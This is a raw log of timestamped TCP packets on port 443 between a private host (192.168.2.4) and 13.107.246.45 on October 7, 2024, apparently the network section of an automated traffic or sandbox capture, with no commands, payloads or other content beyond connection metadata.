Oct 7, 2024 03:16:18.331140995 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.331159115 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.331260920 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.331274986 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.331759930 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.331767082 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.389240026 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.389736891 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.389805079 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.389820099 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.389853954 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.389925957 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.389934063 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.389952898 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.389959097 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.393220901 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.393274069 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.393343925 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.393491030 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.393508911 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.399862051 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.399956942 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.400018930 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.400120020 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.400126934 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.400142908 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.400146961 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.402648926 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.402730942 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.402816057 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.402959108 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.402998924 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.432154894 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.432210922 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.432265043 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.432274103 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.432322979 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.432518959 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.432549953 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.432580948 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.432598114 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.435153008 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.435230970 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.435328960 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.435461998 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.435489893 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.695579052 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.696206093 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.696235895 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.696799040 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.696842909 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.794614077 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.794698954 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.794753075 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.794972897 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.794996023 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.795008898 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.795017004 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.798266888 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.798295021 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.798387051 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.798563957 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.798576117 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.968034029 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.968590975 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.968615055 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:18.969192028 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:18.969197989 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.039180040 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.039705038 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.039767981 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.040230989 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.040261030 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.065673113 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.066019058 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.066056013 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.066504955 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.066518068 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.069329977 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.069437981 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.069500923 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.069631100 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.069648027 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.069659948 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.069664001 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.072688103 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.072750092 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.072840929 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.072973967 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.073002100 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.079034090 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.079307079 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.079319000 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.079708099 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.079713106 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.143074989 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.143173933 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.143322945 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.143363953 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.143364906 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.143408060 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.143434048 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.145690918 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.145739079 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.145813942 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.145937920 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.145956993 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.168299913 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.168446064 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.168504000 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.168600082 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.168618917 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.168642998 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.168657064 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.170654058 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.170682907 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.170744896 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.170835972 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.170847893 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.182687044 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.183013916 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.183064938 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.183096886 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.183113098 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.183125019 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.183130026 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.184978962 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.184993982 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.185050011 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.185174942 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.185185909 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.442763090 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.443948030 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.444041967 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.444603920 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.444622993 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.540668011 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.540873051 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.541091919 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.541238070 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.541286945 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.541318893 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.541337013 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.544163942 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.544217110 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.547322035 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.547441006 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.547457933 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.703854084 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.704653025 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.704722881 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.705070972 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.705087900 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.779798985 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.780498981 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.780531883 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.781106949 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.781115055 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.802189112 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.803344011 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.803534031 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.803534985 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.803534985 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.804816961 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.806984901 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.807030916 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.807301044 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.807430983 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.807446957 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.807467937 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.807480097 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.807929993 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.807936907 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.845788002 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.846589088 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.846616030 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.847147942 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.847153902 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.887048006 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.887120962 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.887200117 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.887232065 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.887257099 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.887533903 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.887533903 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.887561083 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.887576103 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.887583017 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.890527010 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.890566111 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.890650034 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.890790939 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.890805006 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.903568029 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.903635025 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.903700113 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.903903008 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.903927088 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.903938055 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.903945923 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.906766891 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.906788111 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.906866074 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.907001972 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.907018900 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.948472977 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.948638916 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.948904037 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.949384928 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.949409008 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.949423075 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.949430943 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.952661037 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.952723980 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:19.952802896 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.953021049 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:19.953063011 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.116274118 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.116324902 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.183681965 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.184248924 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.184283018 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.184835911 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.184849024 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.282449007 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.282526016 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.282604933 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.282886028 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.282886028 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.282913923 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.282927990 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.285919905 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.285980940 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.286106110 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.286308050 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.286324978 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.442231894 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.443229914 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.443255901 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.443329096 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.443337917 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.529511929 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.530390024 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.530405998 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.531128883 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.531135082 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.541408062 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.541440010 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.541493893 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.541507006 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.541563034 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.541907072 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.541929007 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.551367044 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.551420927 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.551563025 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.552206993 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.552227974 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.567564011 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.568134069 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.568149090 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.568701982 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.568711996 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.587441921 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.588006973 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.588030100 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.588527918 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.588537931 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.628653049 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.628695965 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.628761053 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.628763914 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.628813028 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.629179955 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.629200935 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.629206896 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.629211903 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.632481098 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.632522106 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.632611990 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.632800102 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.632812023 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.670216084 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.670592070 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.670633078 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.670641899 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.670655012 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.670711040 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.670732021 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.670738935 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.670754910 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.670759916 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.673712015 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.673747063 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.673814058 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.674123049 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.674139023 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.686074018 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.686166048 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.686220884 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.686314106 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.686328888 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.686342001 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.686356068 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.688986063 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.689028978 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.689100027 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.689359903 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.689377069 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.920825958 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.921516895 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.921540976 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:20.922065973 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:20.922072887 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.020091057 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.020136118 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.020195961 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.020211935 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.020273924 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.020589113 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.020611048 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.020623922 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.020632029 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.025782108 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.025830030 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.025918961 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.026089907 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.026106119 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.214572906 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.215286970 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.215307951 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.215841055 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.215850115 CEST	443	49901	13.107.246.45	192.168.2.4
